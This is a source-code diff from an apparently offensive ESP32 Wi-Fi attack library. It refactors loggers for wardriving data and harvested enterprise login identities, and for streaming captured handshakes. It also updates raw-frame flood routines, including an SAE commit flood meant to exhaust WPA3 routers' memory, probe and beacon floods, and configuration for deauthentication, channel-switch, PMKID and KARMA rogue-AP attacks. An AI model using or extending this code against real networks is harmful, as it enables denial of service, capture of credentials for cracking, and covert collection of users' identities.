fs::File file = _openWithHeader(fs, path); if (!file) return false; + _writeRow(file, ap.bssid, ap.ssid, ap.enc, ap.channel, ap.rssi, lat, lon, alt, acc, timestamp); + file.flush(); + file.close(); + return true; + } +private: + static void _writeRow(fs::File &file, const uint8_t *bssid, const char *ssid, uint8_t enc, + uint8_t channel, int8_t rssi, float lat, float lon, float alt, float acc, + const char *timestamp) { char ssidEscaped[72]; - detail::escapeCsvField(ap.ssid, ssidEscaped, sizeof(ssidEscaped)); + detail::escapeCsvField(ssid, ssidEscaped, sizeof(ssidEscaped)); char line[256]; snprintf(line, sizeof(line), "%02X:%02X:%02X:%02X:%02X:%02X,%s,%s,%s,%d,%d,%.6f,%.6f,%.1f,%.1f,WIFI", - ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], - ssidEscaped, _authStr(ap.enc), timestamp ? timestamp : detail::_timestamp(), - ap.channel, ap.rssi, lat, lon, alt, acc); - + bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], + ssidEscaped, _authStr(enc), timestamp ? timestamp : detail::_timestamp(), + channel, rssi, lat, lon, alt, acc); file.println(line); - file.flush(); - file.close(); - return true; } -private: static const char* _authStr(uint8_t enc) { switch (enc) { case 1: return "[WEP][ESS]"; @@ -379,6 +585,10 @@ class WigleCsvLogger { } return file; } + + fs::File _file; + bool _open; + bool _autoFlush; }; /** @@ -387,17 +597,89 @@ class WigleCsvLogger { */ class EnterpriseCsvLogger { public: + EnterpriseCsvLogger() : _open(false), _autoFlush(true) {} + + ~EnterpriseCsvLogger() { close(); } + + /** + * @brief Enables or disables automatic flushing after every write. + * @param enable true to flush after every write (default), false to buffer. + */ + void setAutoFlush(bool enable) { _autoFlush = enable; } + + /** @brief Flushes buffered CSV rows to storage. */ + void flush() { + if (_open) _file.flush(); + } + + /** + * @brief Opens an Enterprise CSV file for persistent streaming writes. + * @param fs The filesystem (e.g., SD, LittleFS) + * @param path The path to the file (e.g., "/enterprise.csv") + * @return true if opened successfully + */ + bool open(fs::FS &fs, const char *path) { + if (_open) close(); + _file = _openWithHeader(fs, path); + _open = (bool)_file; + return _open; + } + + /** + * @brief Writes an EapIdentityRecord to the open CSV file. + * @param rec The harvested EapIdentityRecord + * @param timestamp Optional timestamp string + * @return true if written successfully + */ + bool write(const EapIdentityRecord &rec, const char *timestamp = nullptr) { + if (!_open) return false; + _writeRow(_file, rec, timestamp); + if (_autoFlush) _file.flush(); + return true; + } + + /** @brief Closes the open CSV file handle. */ + void close() { + if (_open) { _file.flush(); _file.close(); _open = false; } + } + + /** @brief Returns true if the CSV file is currently open. */ + bool isOpen() const { return _open; } + + /** + * @brief Appends an EapIdentityRecord to a CSV file (opens and closes per call). + * @param fs The filesystem (e.g., SD, LittleFS) + * @param path The path to the file + * @param rec The harvested EapIdentityRecord + * @param timestamp Optional timestamp string + * @return true if successful + */ static bool append(fs::FS &fs, const char *path, const EapIdentityRecord &rec, const char *timestamp = nullptr) { - bool isNew = !fs.exists(path); - - fs::File file = fs.open(path, FILE_APPEND); + fs::File file = _openWithHeader(fs, path); if (!file) return false; + _writeRow(file, rec, timestamp); + file.flush(); + file.close(); + return true; + } +private: + static fs::File _openWithHeader(fs::FS &fs, const char *path) { + bool isNew = !fs.exists(path); + if (!isNew) { + fs::File check = fs.open(path, FILE_READ); + if (check) { isNew = (check.size() == 0); check.close(); } + } + fs::File file = fs.open(path, FILE_APPEND); + if (!file) return file; if (isNew) { file.println("Enterprise BSSID,Client MAC,Plaintext Identity,EAP Method,FirstSeen,Channel,RSSI"); } + return file; + } + static void _writeRow(fs::File &file, const EapIdentityRecord &rec, const char *timestamp) { char identityEscaped[136]; // 64 chars worst-case doubled + 2 quotes + NUL detail::escapeCsvField(rec.identity, identityEscaped, sizeof(identityEscaped)); @@ -409,10 +691,11 @@ class EnterpriseCsvLogger { rec.channel, rec.rssi); file.println(line); - file.flush(); - file.close(); - return true; } + + fs::File _file; + bool _open; + bool _autoFlush; }; /** @@ -427,13 +710,21 @@ class NvsBssidCache { uint8_t _cache[MAX_STORED][6]; size_t _count; bool _dirty; + mutable portMUX_TYPE _mux; public: - NvsBssidCache(const char* ns = "wardrive") : _count(0), _dirty(false) { - if (strlen(ns) > 15) + NvsBssidCache(const char* ns = "wardrive") + : _count(0), _dirty(false), _mux(portMUX_INITIALIZER_UNLOCKED) { +#ifndef POLITICIAN_NO_LOGGING + if (ns && strlen(ns) > 15) Serial.println("[NvsBssidCache] WARNING: namespace name exceeds 15 chars and will be truncated"); - strncpy(_ns, ns, sizeof(_ns) - 1); - _ns[sizeof(_ns) - 1] = '\0'; +#endif + if (ns) { + strncpy(_ns, ns, sizeof(_ns) - 1); + _ns[sizeof(_ns) - 1] = '\0'; + } else { + _ns[0] = '\0'; + } memset(_cache, 0, sizeof(_cache)); } @@ -442,10 +733,16 @@ class NvsBssidCache { */ void begin() { _prefs.begin(_ns, false); - size_t bytes = _prefs.getBytes("bssids", _cache, sizeof(_cache)); - _count = bytes / 6; - if (_count > MAX_STORED) _count = MAX_STORED; // Safety parameter + uint8_t tmp[MAX_STORED][6]; + memset(tmp, 0, sizeof(tmp)); + size_t bytes = _prefs.getBytes("bssids", tmp, sizeof(tmp)); + size_t cnt = bytes / 6; + if (cnt > MAX_STORED) cnt = MAX_STORED; + portENTER_CRITICAL(&_mux); + memcpy(_cache, tmp, sizeof(_cache)); + _count = cnt; _dirty = false; + portEXIT_CRITICAL(&_mux); } /** @@ -453,8 +750,15 @@ class NvsBssidCache { * @param engine Reference to your active Politician instance */ void loadInto(Politician& engine) { - for (size_t i = 0; i < _count; i++) { - engine.markCaptured(_cache[i]); + uint8_t snapshot[MAX_STORED][6]; + size_t cnt = 0; + portENTER_CRITICAL(&_mux); + cnt = _count; + if (cnt > MAX_STORED) cnt = MAX_STORED; + memcpy(snapshot, _cache, cnt * 6); + portEXIT_CRITICAL(&_mux); + for (size_t i = 0; i < cnt; i++) { + engine.markCaptured(snapshot[i]); } } @@ -465,15 +769,23 @@ class NvsBssidCache { * @return true if added, false if it already exists or the cache is full. */ bool add(const uint8_t* bssid) { + if (!bssid) return false; + bool added = false; + portENTER_CRITICAL(&_mux); for (size_t i = 0; i < _count; i++) { - if (memcmp(_cache[i], bssid, 6) == 0) return false; // Already cached + if (memcmp(_cache[i], bssid, 6) == 0) { + portEXIT_CRITICAL(&_mux); + return false; // Already cached + } } - if (_count >= MAX_STORED) return false; // Cache full - - memcpy(_cache[_count], bssid, 6); - _count++; - _dirty = true; - return true; + if (_count < MAX_STORED) { + memcpy(_cache[_count], bssid, 6); + _count++; + _dirty = true; + added = true; + } + portEXIT_CRITICAL(&_mux); + return added; } /** @@ -482,26 +794,48 @@ class NvsBssidCache { * @return true if data was written, false if there were no pending changes. */ bool flush() { - if (!_dirty) return false; - _prefs.putBytes("bssids", _cache, _count * 6); + uint8_t snapshot[MAX_STORED][6]; + size_t cnt = 0; + portENTER_CRITICAL(&_mux); + if (!_dirty) { + portEXIT_CRITICAL(&_mux); + return false; + } + cnt = _count; + memcpy(snapshot, _cache, cnt * 6); _dirty = false; + portEXIT_CRITICAL(&_mux); + + _prefs.putBytes("bssids", snapshot, cnt * 6); return true; } /** @brief Returns true if there are in-RAM changes not yet written to NVS. */ - bool isDirty() const { return _dirty; } + bool isDirty() const { + portENTER_CRITICAL(&_mux); + bool d = _dirty; + portEXIT_CRITICAL(&_mux); + return d; + } /** * @brief Returns the number of BSSIDs currently stored. */ - size_t count() const { return _count; } + size_t count() const { + portENTER_CRITICAL(&_mux); + size_t c = _count; + portEXIT_CRITICAL(&_mux); + return c; + } /** * @brief Clears the entire cache from both RAM and NVS immediately. */ void clear() { + portENTER_CRITICAL(&_mux); _count = 0; _dirty = false; + portEXIT_CRITICAL(&_mux); _prefs.remove("bssids"); } }; @@ -532,7 +866,7 @@ class TcpStreamLogger { bool write(const HandshakeRecord &rec) { if (!_open || !_client || !_client->connected()) { _open = false; return false; } - uint8_t buf[512]; + uint8_t buf[1024]; size_t len = format::writePcapngRecord(rec, buf, sizeof(buf)); if (len > 0) { _client->write(buf, len); return true; } return false; @@ -572,7 +906,7 @@ class UdpStreamLogger { bool write(const HandshakeRecord &rec) { if (!_open || !_udp) return false; - uint8_t buf[512]; + uint8_t buf[1024]; size_t len = format::writePcapngRecord(rec, buf, sizeof(buf)); if (len == 0 || len > 1472) return false; _udp->beginPacket(_host, _port); diff --git a/src/PoliticianStress.cpp b/src/PoliticianStress.cpp index b7aba4f..f7e3e2d 100644 --- a/src/PoliticianStress.cpp +++ b/src/PoliticianStress.cpp @@ -5,11 +5,18 @@ #include "esp_wifi.h" #include "esp_timer.h" #include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" namespace politician { namespace stress { -void saeCommitFlood(const uint8_t* bssid, uint32_t count) { +void saeCommitFlood(const uint8_t* bssid, uint32_t count, uint8_t channel) { + if (!bssid || count == 0) return; + if (channel >= 1) { + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + } + // 802.11 Authentication Frame Header (WPA3 SAE) uint8_t pkt[42] = { 0xB0, 0x00, 0x3C, 0x00, // Frame Control (Auth), Duration @@ -41,11 +48,22 @@ void saeCommitFlood(const uint8_t* bssid, uint32_t count) { pkt[10] &= 0xFE; // Ensure Unicast pkt[10] |= 0x02; // Mark as Locally Administered MAC - esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + if (err == ESP_ERR_NO_MEM) { + vTaskDelay(1); + esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + } else if ((i & 0x1F) == 0x1F) { + vTaskDelay(1); + } } } -void probeRequestFlood(uint32_t count) { +void probeRequestFlood(uint32_t count, uint8_t channel) { + if (count == 0) return; + if (channel >= 1) { + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + } + // 802.11 Probe Request Frame Header uint8_t pkt[36] = { 0x40, 0x00, 0x00, 0x00, // Frame Control (Probe Req), Duration @@ -69,7 +87,13 @@ void probeRequestFlood(uint32_t count) { pkt[10] &= 0xFE; pkt[10] |= 0x02; - esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + if (err == ESP_ERR_NO_MEM) { + vTaskDelay(1); + esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false); + } else if ((i & 0x1F) == 0x1F) { + vTaskDelay(1); + } } } @@ -111,8 +135,12 @@ void beaconFlood(const char **ssids, uint8_t ssidCount, memcpy(frame + p, rates, 8); p += 8; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel; - esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); - delay(5); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); + if (err == ESP_ERR_NO_MEM) { + vTaskDelay(1); + esp_wifi_80211_tx(WIFI_IF_AP, frame, p, false); + } + vTaskDelay(pdMS_TO_TICKS(5)); } } } // namespace stress diff --git a/src/PoliticianStress.h b/src/PoliticianStress.h index 18bcf1d..a8b3e5c 100644 --- a/src/PoliticianStress.h +++ b/src/PoliticianStress.h @@ -17,18 +17,20 @@ namespace stress { * @brief Blasts a massive SAE (Simultaneous Authentication of Equals) Commit flood. * Forces WPA3 routers to rapidly consume heap memory parsing anti-clogging tokens. * - * @param bssid Target router's MAC address - * @param count Number of frames to fire natively + * @param bssid Target router's MAC address + * @param count Number of frames to fire natively + * @param channel Optional 802.11 channel to tune the radio to before flooding (0 = keep current channel) */ - void saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000); + void saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000, uint8_t channel = 0); /** * @brief Blasts out massive strings of randomized Probe Requests to overwhelm * local Access Points with client association processing queues. * - * @param count Number of frames to fire natively + * @param count Number of frames to fire natively + * @param channel Optional 802.11 channel to tune the radio to before flooding (0 = keep current channel) */ - void probeRequestFlood(uint32_t count = 1000); + void probeRequestFlood(uint32_t count = 1000, uint8_t channel = 0); /** * @brief Transmits beacon frames with rotating fake SSIDs to stress-test AP diff --git a/src/PoliticianTypes.h b/src/PoliticianTypes.h index 0f9855e..746af35 100644 --- a/src/PoliticianTypes.h +++ b/src/PoliticianTypes.h @@ -97,46 +97,50 @@ enum Error { /** Returned by begin() when all POLITICIAN_MAX_INSTANCES slots are occupied. */ ERR_MAX_INSTANCES = 6, ERR_INVALID_ARG = 7, - ERR_QUEUE_FULL = 8 + ERR_QUEUE_FULL = 8, + /** Returned when acquiring the internal synchronization mutex times out. */ + ERR_LOCK_TIMEOUT = 9, + /** Returned when the radio channel or state is locked by another operation or instance. */ + ERR_BUSY = 10 }; /** * @brief Configuration for the Politician engine. */ struct Config { + const char* soft_ap_ssid = nullptr; // Custom SSID for the engine's soft AP (nullptr = use default hidden AP) + uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1 + uint32_t fish_timeout_ms = 2000; // Time for PMKID association + uint32_t csa_wait_ms = 4000; // How long to wait for reconnect after CSA + uint32_t session_timeout_ms = 60000; // How long orphaned handshakes live in RAM + uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire) + uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in) uint16_t hop_dwell_ms = 200; // Time per channel - bool smart_hopping = true; // Dynamic channel dwell time based on traffic uint16_t hop_min_dwell_ms = 50; // Minimum dwell if no traffic is seen uint16_t hop_max_dwell_ms = 400; // Maximum dwell if traffic is active - uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1 - uint32_t fish_timeout_ms = 2000; // Time for PMKID association + uint16_t probe_aggr_interval_s = 30; // Seconds to wait between attacking same AP + uint16_t btm_disassoc_timer = 3; // Disassociation Timer in TBTTs (~100ms each); 0 = immediate uint8_t fish_max_retries = 2; // PMKID retries before giving up or CSA - uint32_t csa_wait_ms = 4000; // How long to wait for reconnect after CSA uint8_t csa_beacon_count = 8; // Number of CSA beacons to burst uint8_t deauth_burst_count = 16; // Number of classic Deauth frames to send - uint16_t probe_aggr_interval_s = 30; // Seconds to wait between attacking same AP - uint32_t session_timeout_ms = 60000; // How long orphaned handshakes live in RAM - bool capture_half_handshakes = false; // Save M2-only captures and pivot to active attack - bool skip_immune_networks = true; // Ignore Pure WPA3 / PMF Required networks uint8_t csa_deauth_count = 15; // Number of standard deauths to append uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES; // Exclude Beacons by default to save SD storage int8_t min_rssi = -100; // Ignore APs with signal weaker than this (dBm) - uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0 = never expire) - bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast - uint32_t probe_hidden_interval_ms = 0; // How often to probe hidden APs for SSID (0 = disabled, opt-in) uint8_t deauth_reason = 7; // 802.11 reason code for deauth frames (7=Class 3 from non-assoc) - bool deauth_reason_cycling = true; // Cycle through effective reason codes during burst (fuzzing) - bool capture_group_keys = false; // Fire eapolCb with CAP_EAPOL_GROUP on GTK rotation frames uint8_t min_beacon_count = 0; // Min times AP must be seen before attack/apFoundCb (0 = no minimum) uint8_t max_total_attempts = 0; // Permanently skip BSSID after this many failed attacks (0 = unlimited) - uint8_t sta_filter[6] = {}; // Only record EAPOL sessions from this client MAC (zero = no filter) - char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter) - bool ssid_filter_exact = true; // True = exact SSID match, false = substring match uint8_t enc_filter_mask = 0xFF; // Bitmask of enc types to cache: bit0=Open,bit1=WEP,bit2=WPA,bit3=WPA2,bit4=Ent,bit5=OWE - bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP - const char* soft_ap_ssid = nullptr; // Custom SSID for the engine's soft AP (nullptr = use default hidden AP) uint8_t btm_burst_count = 8; // Number of BTM Request frames per client per trigger - uint16_t btm_disassoc_timer = 3; // Disassociation Timer in TBTTs (~100ms each); 0 = immediate + bool smart_hopping = true; // Dynamic channel dwell time based on traffic + bool capture_half_handshakes = false; // Save M2-only captures and pivot to active attack + bool skip_immune_networks = true; // Ignore Pure WPA3 / PMF Required networks + bool unicast_deauth = true; // Send deauth to known client MAC instead of broadcast + bool deauth_reason_cycling = true; // Cycle through effective reason codes during burst (fuzzing) + bool capture_group_keys = false; // Fire eapolCb with CAP_EAPOL_GROUP on GTK rotation frames + bool ssid_filter_exact = true; // True = exact SSID match, false = substring match + bool require_active_clients = false; // Skip attack initiation if no active clients seen on AP + uint8_t sta_filter[6] = {}; // Only record EAPOL sessions from this client MAC (zero = no filter) + char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty = no filter) #ifndef POLITICIAN_NO_KARMA bool karma_enabled = false; // Enable KARMA rogue AP responder bool karma_open_only = true; // Only respond to probes for open/unknown networks (skip known WPA APs) @@ -189,35 +193,35 @@ inline int validateConfig(const Config &cfg, const char **out, uint8_t maxOut) { // ─── AP Record ──────────────────────────────────────────────────────────────── /** @brief Snapshot of a discovered Access Point from the internal cache. Populated by getAp(), getApByBssid(), and the ApFoundCb callback. */ struct ApRecord { + uint32_t first_seen_ms; // millis() timestamp when this AP was first observed + uint32_t last_seen_ms; // millis() timestamp of the most recent beacon or probe response + uint32_t last_attack_ms; ///< millis() of the most recent attack initiation (0 = never attacked) + uint16_t beacon_interval; // Advertised beacon interval in TUs (1 TU = 1024 µs), 0 if unknown + uint16_t sta_count; // Connected client count from BSS Load IE (if present) + uint16_t beacon_count; ///< Number of beacons observed from this AP in the current session uint8_t bssid[6]; char ssid[33]; + char country[3]; // ISO 3166-1 alpha-2 country code from IE 7 (e.g. "US"), empty if absent uint8_t ssid_len; uint8_t channel; int8_t rssi; - uint8_t enc; // ENC_OPEN=0 ENC_WEP=1 ENC_WPA=2 ENC_WPA2=3 ENC_ENT=4 ENC_OWE=5 - bool wps_enabled; // WPS IE detected in beacon/probe-response - bool pmf_capable; // MFPC bit set in RSN Capabilities (PMF supported) - bool pmf_required; // MFPR bit set in RSN Capabilities (PMF mandatory) + uint8_t enc; // ENC_OPEN=0 ENC_WEP=1 ENC_WPA=2 ENC_WPA2=3 ENC_ENT=4 ENC_OWE=5 uint8_t total_attempts; // Number of failed attack attempts recorded - bool captured; // True if BSSID is on the captured or ignore list - bool ft_capable; // 802.11r FT AKM advertised (FT-PSK or FT-EAP) - uint32_t first_seen_ms; // millis() timestamp when this AP was first observed - uint32_t last_seen_ms; // millis() timestamp of the most recent beacon or probe response - char country[3]; // ISO 3166-1 alpha-2 country code from IE 7 (e.g. "US"), empty if absent - uint16_t beacon_interval; // Advertised beacon interval in TUs (1 TU = 1024 µs), 0 if unknown uint8_t max_rate_mbps; // Highest legacy data rate from Supported Rates IEs (Mbps), 0 if unknown - bool is_hidden; // True if AP broadcasts an empty SSID (hidden network) - uint16_t sta_count; // Connected client count from BSS Load IE (if present) uint8_t chan_util; // Channel utilization from BSS Load IE (0-255) uint8_t venue_group; // 802.11u Venue Group (e.g., 2=Education, 10=Residential) uint8_t venue_type; // 802.11u Venue Type (e.g., 8=University, 1=Coffee Shop) uint8_t network_type; // 802.11u Access Network Type (1=Free Public, 2=Chargeable, etc.) - bool is_vht; // 802.11ac (VHT / Wi-Fi 5) capable - bool is_he; // 802.11ax (HE / Wi-Fi 6) capable uint8_t chan_width; // Max channel width: 0=20MHz 1=40MHz 2=80MHz 3=160MHz 4=80+80MHz - uint16_t beacon_count; ///< Number of beacons observed from this AP in the current session uint8_t capture_count; ///< Number of successful handshake/PMKID captures for this BSSID - uint32_t last_attack_ms; ///< millis() of the most recent attack initiation (0 = never attacked) + bool wps_enabled; // WPS IE detected in beacon/probe-response + bool pmf_capable; // MFPC bit set in RSN Capabilities (PMF supported) + bool pmf_required; // MFPR bit set in RSN Capabilities (PMF mandatory) + bool captured; // True if BSSID is on the captured or ignore list + bool ft_capable; // 802.11r FT AKM advertised (FT-PSK or FT-EAP) + bool is_hidden; // True if AP broadcasts an empty SSID (hidden network) + bool is_vht; // 802.11ac (VHT / Wi-Fi 5) capable + bool is_he; // 802.11ax (HE / Wi-Fi 6) capable }; // ─── Frame Stats ────────────────────────────────────────────────────────────── @@ -236,6 +240,8 @@ struct Stats { uint32_t failed_csa; // CSA/Deauth wait expired without EAPOL volatile uint32_t dropped; // Frames dropped due to ringbuffer overflow uint32_t rb_max; // Max observed ringbuffer usage (bytes) + uint32_t tx_packets; ///< Total raw 802.11 frames successfully queued for transmission + uint32_t tx_dropped; ///< Raw 802.11 frames dropped due to TX queue exhaustion or errors uint16_t channel_frames[200]; // Frames received per channel, indexed by channel number (e.g. ch1=index1, ch36=index36). Index 0 unused. };